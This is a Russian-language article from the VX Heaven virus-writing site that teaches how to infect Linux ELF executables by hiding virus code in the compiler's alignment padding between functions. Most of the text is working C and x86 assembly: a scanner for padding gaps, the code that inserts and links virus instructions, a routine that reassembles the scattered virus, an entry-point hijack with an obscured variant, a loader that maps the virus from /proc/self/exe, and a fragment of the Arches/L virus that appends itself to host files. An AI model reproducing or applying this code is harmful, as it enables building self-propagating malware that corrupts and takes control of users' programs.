Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Заражение ELF-файлов с использованием выравнивания функций для Linux

herm1t
Август 2006

[Вернуться к списку] [Комментарии]

Введение

Не так давно я прочитал две статьи посвященные довольно занятному методу заражения ELF-файлов [1,2], о котором мы с вами и поговорим. Удивительно, но инструменты представленные Z0mbie и Ares предназначены для внедрения троянов, а вирусов, использующих эту технологию я пока не видел, хотя может быть, не очень-то внимательно смотрел. Ж-) Метод необычен и имеет, как преимущества, так и недостатки, но давайте обо всем по порядку.

Для увеличения производительности кода компилятор выравнивает функции, циклы, обращения к данным и стеку на границу кратную степеням двойки. Опции выраниваня gcc можно посмотреть `cc1 --help`, нас же интересует то, как все это выглядит в коде. Посмотрим:

805cb99: 89 0d 10 0e 0e 08    mov    %ecx,0x80e0e10
805cb9f: 89 ec                mov    %ebp,%esp
805cba1: 5d                   pop    %ebp	    ; здесь закончилась
805cba2: c3                   ret		    ; одна функция
805cba3: 8d b6 00 00 00 00    lea    0x0(%esi),%esi ; *выравнивание*
805cba9: 8d bc 27 00 00 00 00 lea    0x0(%edi),%edi ; *выравнивание*
805cbb0: 55                   push   %ebp           ; здесь началась следующая
805cbb1: 89 e5                mov    %esp,%ebp

Целых тринадцать байт только в одной функции! Именно в эти островки свободного места мы и будем писать наш код. Заражать файл будем следующим образом:

  1. Достаем наш код из памяти текущего процесса
  2. Убираем из кода все команды перехода-связки
  3. Находим жертву
  4. Открываем жертву, отображаем в память, проверяем, находим секцию .text
  5. Находим в ней все островки свободного места
  6. Попытаемся вставить наш код инструкция за инструкцией в найденные островки, связывая их командами перехода (jmp near)
  7. Исправляем в нашем коде все команды условного и безусловного переходов (jmp/jcc/call)
  8. Исправляем заголовки или код жертвы, таким образом, чтобы при запуске вирус получил управление

Что получится в результате? Вот так выглядит вирусный загрузчик вставленный в bash:

805c1f3:	60                   	pusha  
805c1f4:	68 78 65 00 00       	push   $0x6578
805c1f9:	e9 25 03 00 00       	jmp    805c523 		---+
.......		..............		..................	   |
805c523:	68 6c 66 2f 65       	push   $0x652f666c	<--+
805c528:	e9 1b 02 00 00       	jmp    805c748 		---+
.......		..............		..................	   |
805c748:	e9 c6 00 00 00       	jmp    805c813 		<==|
805c74d:	90                   	nop    			   |
805c74e:	90                   	nop    			   |
805c74f:	90                   	nop    			   |
.......		..............		..................	   |
805c813:	68 63 2f 73 65       	push   $0x65732f63	<--+
805c818:	e9 06 03 00 00       	jmp    805cb23 		---+
.......		..............		..................	   |
805cb23:	68 2f 70 72 6f       	push   $0x6f72702f	<--+
805cb28:	6a 05                	push   $0x5
805cb2a:	58                   	pop    %eax
805cb2b:	e9 73 00 00 00       	jmp    805cba3 		---+
								   |
.......		..............		..................

.......		..............		..................
8060708:	e9 47 01 00 00       	jmp    8060854		---+
806070d:	90                   	nop    			   |
806070e:	90                   	nop    			   |
806070f:	90                   	nop    			   |
.......		..............		..................	   |
8060854:	68 10 b5 05 08       	push   $0x805b510	<--+
8060859:	c3                   	ret    

Новая точка входа:	0x805c1f3
Старая точка входа:	0x805b510

Рассмотрим каждый шаг по отдельности.

Поиск свободного места

Для начала достанем из binutils (файл gas/config/tc-i386.c) список инструкций используемых для выравнивания:

    {0x90};                                     /* nop                  */
    {0x89,0xf6};                                /* movl %esi,%esi       */
    {0x8d,0x76,0x00};                           /* leal 0(%esi),%esi    */
    {0x8d,0x74,0x26,0x00};                      /* leal 0(%esi,1),%esi  */
    {0x90,                                      /* nop                  */
     0x8d,0x74,0x26,0x00};                      /* leal 0(%esi,1),%esi  */
    {0x8d,0xb6,0x00,0x00,0x00,0x00};            /* leal 0L(%esi),%esi   */
    {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00};       /* leal 0L(%esi,1),%esi */
    {0x90,                                      /* nop                  */
     0x8d,0xb4,0x26,0x00,0x00,0x00,0x00};       /* leal 0L(%esi,1),%esi */
    {0x89,0xf6,                                 /* movl %esi,%esi       */
     0x8d,0xbc,0x27,0x00,0x00,0x00,0x00};       /* leal 0L(%edi,1),%edi */
    {0x8d,0x76,0x00,                            /* leal 0(%esi),%esi    */
     0x8d,0xbc,0x27,0x00,0x00,0x00,0x00};       /* leal 0L(%edi,1),%edi */
    {0x8d,0x74,0x26,0x00,                       /* leal 0(%esi,1),%esi  */
     0x8d,0xbc,0x27,0x00,0x00,0x00,0x00};       /* leal 0L(%edi,1),%edi */
    {0x8d,0xb6,0x00,0x00,0x00,0x00,             /* leal 0L(%esi),%esi   */
     0x8d,0xbf,0x00,0x00,0x00,0x00};            /* leal 0L(%edi),%edi   */
    {0x8d,0xb6,0x00,0x00,0x00,0x00,             /* leal 0L(%esi),%esi   */
     0x8d,0xbc,0x27,0x00,0x00,0x00,0x00};       /* leal 0L(%edi,1),%edi */
    {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00,        /* leal 0L(%esi,1),%esi */
     0x8d,0xbc,0x27,0x00,0x00,0x00,0x00};       /* leal 0L(%edi,1),%edi */
    {0xeb,0x0d,0x90,0x90,0x90,0x90,0x90,        /* jmp .+15; lotsa nops */
     0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
 

Искать эти сигнатуры будем при помощи их контрольной суммы и длины, это сократит размер таблицы. Для того, чтобы снизить количество ложных совпадений мы установим следующие ограничения:

  1. Участок который мы собираемся использовать расположен в секции .text.
  2. Если это не jmp .+15/nop/..., то ему должна предшествовать команда RET.
  3. Участок начинается на границе инструкции
  4. Найденый участок за вычетом команд RET/JMP должен быть не менее 6 байт (в конце каждого участка, кроме одной или нескольких наших инструкций будет еще команда "jmp near" на начало следующего участка).

В Infelf используется более сложный алгоритм поиска, но и наш метод дает неплохой результат, а памяти и времени требует меньше.

Для того, чтобы выполнялось условие 3 будем использовать дизассемблер длин, например mlde32 от uNdErX. Найденые островки сохраним в односвязном списке отсортированом по смещениям:

typedef struct _island island_t;
struct __attribute__((packed)) _island {
        uint32_t        offset;         /* смещение  */
        uint32_t        length;         /* длина */
        island_t        *next;          /* следующий элемент списка */
};
 

Сигнатуры будем хранить в массиве patterns:

struct {
        int             length;         /* длина */
/* смещение внутри участка найденного по сигнатуре,
   начиная с которого можно размещать свой код (1) */

        int             shift;         
        uint32_t        crc32;          /* контрольная сумма */
} patterns[] = {
        {15,    1,0x11d50a7f},
        {14,    1,0xe4ad564a},
        {15,    2,0xd5cae9dc},          // EB 0D 90 90 ...
        {13,    1,0xd6b6dcfd},
        {12,    1,0x19fbc1f4},
        {11,    1,0x34a6685b},
        {10,    1,0x74d8dd25},
        {9,     1,0x6ed89f27},
        {8,     1,0xb7109f48},
        {7,     1,0x5d30a0da},          // C3 8D B6 00 00 00 00
};
 

(1) patterns.shift нам необходим, для того, чтобы соблюсти четвертое условие. Первые байты сигнатур либо C3 (RET), либо EB 0D (jmp .+15), которые мы не должны затирать. Поэтому для того, чтобы получить смещение и размер свободного участка добавим shift к смещению и вычтем из длины.

Вот код процедуры поиска на Си:

        island_t        *islands = NULL, *p, *tail;
        unsigned char   *ptr = m + text_offset;
        int             op_len;
        while (ptr < m + text_offset + text_size) {
                for (i = 0; i < 10; i++)
                        if (crc32(ptr, patterns[i].length) == patterns[i].crc32) {
                                p = (island_t*)malloc(sizeof(island_t));
                                p->offset = (uint32_t)(ptr + patterns[i].shift);
                                p->length = patterns[i].length - patterns[i].shift;
                                p->next = NULL;
                                if (islands == NULL)
                                        islands = p;
                                else
                                        tail->next = p;
                                tail = p;
                                ptr += patterns[i].length;
                                continue;
                        }
                if ((op_len = mlde32(ptr)) <= 0) {
                        fprintf(stderr, "Illegal instruction!\n");
                        return 2;
                }
                ptr += op_len;
        }
 

Для того, чтобы выполнялось наше первое условие нам необходимо знать смещение секциии .text в файле, ее размер и адрес. Просмотрим заголовки файла. Поле e_shstrndx в заголовке ELF-файла содержит индекс секции таблицы строк в таблице секций, а e_shnum - количество секций. Нас интересуют следующие поля элементов таблицы секций:

sh_name
смещение в таблице строк на имя секции
sh_offset
смещение секции в файле
sh_addr
адрес секции в памяти
sh_size
размер секции

Код на Си для поиска секции .text:

        // m - указатель на отображение файла в памяти
        Elf32_Ehdr      *ehdr = (Elf32_Ehdr*)m;
        Elf32_Shdr      *shdr = (Elf32_Shdr*)(m + ehdr->e_shoff), *s;
        uint32_t        strtab, text_addr, text_size, text_offset = 0;
        char            *name;
        int             i;
        // проверим есть ли в файле таблица строк
        if (ehdr->e_shstrndx != SHN_UNDEF) {
                // получим смещение таблицы строк
                strtab = shdr[ehdr->e_shstrndx].sh_offset;
                // просмотрим все заголовки секций
                for (i = 0, s = shdr; i < ehdr->e_shnum; i++, s++) {
                        name = m + strtab + s->sh_name;
                        // ищем секцию с именем .text
                        if (!strncmp(name, ".text", 5)) {
                                text_addr = s->sh_addr;
                                text_size = s->sh_size;
                                text_offset = s->sh_offset;
                                break;
                        }
                }
        }
 

Полный код утилиты fpstat, которая выводит статистику по найденым свободным островкам в файле находится в приложении к статье.

Вставка кода

Предположим, что все инструкции вируса уже сохранены в списке стуктур code, следующего вида:

typedef struct _code code_t;
struct __attribute__((packed)) _code {
        uint8_t         *src;   /* адрес в памяти */
        uint8_t         *dst;   /* адрес в жертве */
        uint32_t        len;    /* длина инструкции */
        uint8_t         *jmpto; /* адрес перехода для CALL/JMP/JCC или 0 */
        code_t          *next;  /* следующая структура в списке */
};
 

И нам остается только вставить как можно больше команд в каждый островок, заполнить поле "dst" структур "code_t", связать островки джампами и исправить адреса переходов. Приступим:

    island_t    *i;
    code_t      *c;
    int         n, l;

    for (i = islands, l = 0, c = code; c != NULL; )
        // есть ли в текущем островке место для этой команды
        // (с учетом jmp near в конце островка)?
        if (l + c->len <= (i->length - 5)) {
            // сохраним адрес
            c->dst = i->offset + l;
            // скопируем команду
            memcpy(c->dst, c->src, c->len);
            // увеличим счетчик использованного места для
            // текущего островка
            l += c->len;
            // перейдем к следующей команде
            c = c->next;
        } else {
            // ... нет, места больше нет
           
            // забьем оставшуюся часть NOP'ами
            for (n = l; n < i->length; n++)
                *(uint8_t*)(i->offset + n) = 0x90;
            // если у нас есть еще островки, допишем jmp near
            // на следующий островок            
            if (i->next != NULL) {
                *((uint8_t *)(i->offset + l))       = 0xe9;
                *((uint32_t*)(i->offset + l + 1))   = i->next->offset - i->offset - l - 5;
            } else
            // места не осталось совсем, этот файл мы не заразим...
                exit(2);
            // попытаемся записать эту же команду
            // в следующий остовок
            i = i->next;
            l = 0;                            
        }
 

Исправляем адреса переходов:

    for (c = code; c != NULL; c = c->next)
        // для каждой команды с ненулевым адресом перехода (jmp/call/jcc)
        if (c->jmpto != 0) {
            // найдем команду с этим адресом
            for (d = code; d != NULL; d = d->next)
                if (c->jmpto == d->src) {
                    // исправим адрес в файле
                    *((uint32_t*)(c->dst + c->len - 4)) = d->dst - c->dst - c->len;
                    break;
                }
            // не нашли Ж-( в программе переход неизвестно куда
            // непременно вызовет ошибку. лучше прервемся пока не поздно...
            if (d == NULL)
                exit(2);
        }
 

Реконструируем свой код

Вот мы и подошли к последней и наиболее заебистой части технологии: один файл мы уже заразили и для того, чтобы заразить следующий нам ннеобходимо найти свой собственный код раскиданный по всему файлу, собрать его и убрать из него переходы-связки. Для этого нам понадобится дизассемблер длин, точка входа в вирус (с нее мы начнем дизассемблирование) и метка в конце вируса обозначающая, что пора остановиться. Для определения собственной точки входа мы не можем воспользоваться традиционной вирусной мантрой:

virus_start:    pusha
                ...
                call    delta
delta:          pop     ebp
                sub     ebp, (delta - virus_start)
 

Потому что все три команды (не говоря уж о предыдущих) могут оказаться в сотнях байт друг от друга, поэтому собственную точку входа будем записывать в тело вируса на этапе заражения. Чтобы определить куда именно, выберем команду, которая гарантированно не встретиться в нашем коде, например "mov esp, ?", вот так:

                mov     eax, esp                    ; сохраним esp
                mov     esp, virus_start            ; сюда будет записана
                                                    ; новая точка входа
                mov     [ebp + virus_entry], esp    ; сохраним в переменной
                mov     esp, eax                    ; востановим esp
 

А инструкция HLT послужит сигналом дизассемблеру, что вирус кончился и пора вернуть результат. Есть еще одна похожая проблема: По окончанию работы вирус должен вернуть управление в зараженную программу, если для этого используется команда "jmp near" мы должны, как-то отличить ее от остальных, чтобы дизассемблер, не перешел по ней к основной программе. Можно, к примеру, этот JMP расположить непосредственно перед HLT и добавить соответствующую проверку. А можно вообще использовать не JMP, а PUSH addr/RET (этот вариант мы тоже рассмотрим).

code_t *code = NULL, *code_ret = NULL, code_vep = NULL;

void reassemble(uint8_t *ptr) {
        code_t  *c, *q;
        int     op_len;

        for (;;) {
                // HLT
                if (*ptr == 0xf4)
                        return;
                // команда с таким смещением уже в списке?
                for (c = code; c != NULL; c = c->next) 
                        if (c->src == ptr)
                                return;
                // получим длину
                op_len = mlde32(ptr);
                // неправильный опкод
                if (op_len <= 0)
                        return;
                // заполняем новый элемент списка
                c = (code_t*)malloc(sizeof(code_t));
                c->src = ptr;
                c->jmpto = 0;
                c->len = op_len;
                c->next = NULL;
                // сортировка вставкой по возрастанию адресов
                if (code == NULL || c->src < code->src) {
                        c->next         = code;
                        code            = c;
                } else {
                        q = code;
                        while (q->next != NULL && q->next->src < c->src)
                                q = q->next;
                        c->next = q->next;
                        q->next = c;
                }
                // RET/RETN ?
                if (*ptr == 0xc3 || *ptr == 0xc2)
                        return;
                // запомним указатель на этот элемент, потом запишем
                // в аргумент команды новую точку входа
                // MOV ESP, ?
                if (*ptr == 0xbc)
                        code_vep = c;
                // CALL/JMP/Jcc ?
                if (*ptr == 0xe8 || *ptr == 0xe9 || (*ptr == 0x0f && (*(ptr + 1) & 0xf0) == 0x80)) {
                        // вычисляем адрес перехода
                        c->jmpto = ptr + op_len + *((uint32_t*)(ptr + op_len - 4));
                        // jmp?
                        if (*ptr == 0xe9) {
                                // если следом идет HLT, то это "jmp old_entry_point"
                                // запомним адрес этого элемента и увеличим длину,
                                // чтобы hlt скопировался вместе с jmp'ом в один блок
                                if (*(ptr + 5) == 0xf4) {
                                        code_ret = c;
                                        c->jmpto = 0;
                                        c->len++;
                                } else {
                                        // перейдем к вычисленному адресу
                                        ptr = c->jmpto;
                                        continue;
                                }
                        } else {
                                // CALL/JCC
                                // вызовем себя рекурсивно. выход из рекурсии либо
                                // по RET, либо наткнемся на ранее дизассемблированную
                                // команду, либо дойдем до конца вируса
                                reassemble(c->jmpto);
                        }
                }
                // перейдем к следующей команде
                ptr += op_len;
        }
}
reassemble(virus_entry);
 

Код вируса не должен содержать команд JMP/Jcc SHORT,LOOP,LOOPxx,JCXZ. Весьма вероятно, что при вставке адреса перехода для этих команд выйдут за диапазон +-128 байт. Мы конечно можем заменить вышеперечисленные команды их NEAR эквивалентами во время исполнения, но подобные замены имеют смысл только в том случае, если мы намерены не только разворрачивать "короткие" команды в "длинные", но и наооборот (иначе код производящий замены выполнится один раз и более нам не потребуется). Для многопроходной же оптимизации кода у нас просто недостаточно ресурсов.

Теперь уберем из реконструированного кода переходы-связки. Так как список отсортирован, достаточно проверить не указывает ли jmp на следующую команду в списке, если да, то его можно удалять. Вот так:

        for (prev = code, c = code->next; c->next != NULL; c = c->next)
                if (c->src[0] != 0xe9 || c->jmpto != c->next->src) {
                        prev->next = c;
                        prev = c;
                }
        prev->next = c;
 

Исправляем заголовки

Сделать осталось совсем немного, сохранить нужные адреса в теле вируса и исправить заголовк ELF-файла, чтобы точка входа указывала на начало вируса. Проделаем все необходимые вычисления:

#define DST2VADDR(x)    (x - m - text_offset + text_addr)
        // code - это первая команда вируса, code->dst - новая точка входа
        // сохраним ее в теле вируса (для дизассемблера)
        // указатель на "mov esp, " (code_vep)
        // мы запомнили на этапе дизассемблирования
        *((uint32_t*)(code_vep->dst + 1)) = DST2VADDR(code->dst);
        // запишем аргумент jmp для перехода на старую точку входа
        // указатель на команду перехода (code_ret)
        // мы запомнили на этапе дизассемблирования
        *((uint32_t*)(code_ret->dst + 1)) =
                ehdr->e_entry - DST2VADDR(code_ret->dst) - 5;
        ehdr->e_entry   = DST2VADDR(code->dst);
 

Что еще можно сделать?

К вышеописанной процедуре заражения очень легко приделать EPO (скрытие точки входа), для этого, в функции поиска свободного места (все равно ведь мы просматриваем файл, так от чего бы заодно не найти инструкцию, к которой можно прицепиться?) добавим следующий фрагмент:

        uint8_t *firstcall = NULL;
       
        //...
        if (firstcall == 0 && *ptr == 0xe8)
                firstacall = ptr;
        for (i = 0; i < 10; i++)
        //...
 

И переделаем заключительную часть (описанную в предыдущей главе) следующим образом:

        // не нашли ни одного CALL
        if (firstcall == NULL)
                exit(2);
        // вычисляем и сохраняем в code_ret адрес, на который указывал CALL
        *((uint32_t*)(code_ret->dst + 1)) = DST2VADDR(firstcall) +
                *((uint32_t*)(firstcall + 1)) - DST2VADDR(code_ret->dst);
        // исправим CALL так, чтобы он указывал на нас
        *((uint32_t*)(firstcall + 1)) =
                DST2VADDR(code->dst) - DST2VADDR(firstcall) - 5;
 

Все. Точку входа не трогаем. Естественно, это может быть не первый CALL, и не CALL, а к примеру JMP, и не JMP, а что вообще в голову придет. Но это - на ваше усмотрение.

Полностью или частями?

Посмотрим fpstat'ом сколько же места доступно в "типичном" ELF-файле:

        $ for i in /bin/*;do ./fpstat $i;done|
        > awk 'BEGIN{a=0;c=0}/^Total/{if($2>0){c++;a+=$2}}END{print a,c,a/c}'
        35740 84 425,476
 

С /usr/bin дела обстоят немного лучше, но ненамного:

590556 1368 431,693

То есть, нашему вирусу честные программы готовы пожертвовать в среднем по 430 байт. Вирус конечно можно оптимизировать, но не настолько же. Можно ограничиться заражением только больших файлов таких, как bash, vim или php, а можно внедрять в файл загрузчик, а само тело вируса расположить в конце файла, как это предложено в [2]. Загрузчик должен:

  1. Открыть файл, в котором он находится (/proc/self/exe)
  2. Отобразить конец файла в память, начиная со смещения (длина файла - длина вируса), с правами PROT_READ|PROT_EXEC (смещение должно быть выравнено на границу страницы, иначе mmap вернет ошибку)
  3. Передать управление по адресу непосредственно следующему за загрузчиком, но в отображенном файле.

Вот так:

_start:         pusha
; h = open ("/proc/self/exe", O_RDONLY);
                push    dword 0x00006578
                push    dword 0x652f666c
                push    dword 0x65732f63
                push    dword 0x6f72702f
                movb    eax, SYS_open
                mov     ebx, esp
                movb    ecx, 0
                int     0x80
                add     esp, byte 16
                or      eax,eax
                js      near exit
                xchg    eax,ebx

; l = lseek (h, 0, 2);
                movb    eax, SYS_lseek
                movb    ecx, 0
                movb    edx, 2
                int     0x80
                or      eax, eax
                js      near exit

; l -= VIRUS_SIZE;
                sub     eax, VIRUS_SIZE

; a = mmap(NULL,VIRUS_SIZE,PROT_READ|PROT_EXEC,MAP_PRIVATE,h,l);
                mpush   eax, ebx, MAP_PRIVATE, PROT_READ|PROT_EXEC,VIRUS_SIZE,0
                mov     ebx, esp
                movb    eax, SYS_mmap          
                int     0x80                            
                add     esp, byte 24
                cmp     eax, 0xfffff000
                ja      near exit
                lea     ebx, [eax + (run - _start)]
; на эту команду наш дизассемблер внимания не обратит (что к лучшему)
                jmp     ebx
; на выход. там дизассемблер остановится
                jmp     near exit
        run:    
; сохраним точку входа в вирус для дизассемблера (а можем отображать
; файл по фиксированному адресу и тогда, нужно просто заменить
; переменную self, на выбранный адрес)
                push    eax
                ...

                pop     edx
                mov     self, edx
                push    edx
                call    reassemble
                ...

exit:           popa
; здесь, как и было обещано используем PUSH/RET для возврата
; в основную программу. HLT не нужен, дизассемблер выйдет по RET.
                db      0x68
__code_ret:     dd      fake_host
                ret
 

Кстати, обработка HLT и запись точки входа в тело вируса нам тоже теперь не понадобятся и эти фрагменты можно убрать:

        //...
        if (*ptr == 0xf4)
                return;
        //...
        if (*ptr == 0xbc)
                code_vep = c;
        //...
                        if (*(ptr + 5) == 0xf4) {
                                code_ret = c;
                                c->len++;
                        }
        //...
 

Теперь посмотрим, какие изменения необходимо проделать в самом вирусе:

  1. Выровнять файл, чтобы его длина была кратна размеру страницы
  2. Записать тело вируса в конец файла
  3. Сохранить старую точку входа в файле
  4. Поменять точку входа

Фрагмент вируса Arches/L:

                ; увеличим длину файла, чтобы она стала кратна размеру страницы
                movb    eax, SYS_ftruncate
                mov     ebx, file_handle
                mov     ecx, file_length
                add     ecx, 4095
                and     ecx, 0xfffff000
                mov     edi, ecx
                int     0x80
                or      eax, eax
                jnz     near unmap
                ; передвинем указатель в конец
                movb    eax, SYS_lseek
                movb    edx, 0                          ;SEEK_SET
                int     0x80
                cmp     eax, ecx
                jne     near unmap
                ; запишем тело вируса
                movb    eax, SYS_write
                mov     ecx, self
                mov     edx, VIRUS_SIZE
                int     0x80
                cmp     eax, edx
                jne     near unmap
                ; передвинем указатель на аргумент команды PUSH
                movb    eax, SYS_lseek
                mov     ecx, -VIRUS_SIZE + (__code_ret - _start)
                movb    edx, 1                          ; SEEK_CUR
                int     0x80
                ; запишем старую точку входа
                mov     esi, file_map
                mov     edx, [esi + e_entry]
                push    edx
                mov     eax, SYS_write
                mov     ebx, file_handle
                mov     ecx, esp
                movb    edx, 4
                int     0x80
                add     esp, edx
                cmp     edx, eax
                jne     near unmap
                ; посчитаем новую точку входа
                mov     eax, code
                mov     eax, [eax + code_dst]
                sub     eax, esi
                sub     eax, text_offset
                add     eax, text_addr
                ; исправим точку входа в заголовке ELF-файла
                mov     [esi + e_entry], eax
 

Вот собственно и все, любые комментарии приветствуются. [email protected]

Скачать вирусы Arches,Arches/L и утилиты

Ссылки

  1. Z0mbie "Injected Evil", 2002
  2. Ares "Static linked ELF infecting", 2004
[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua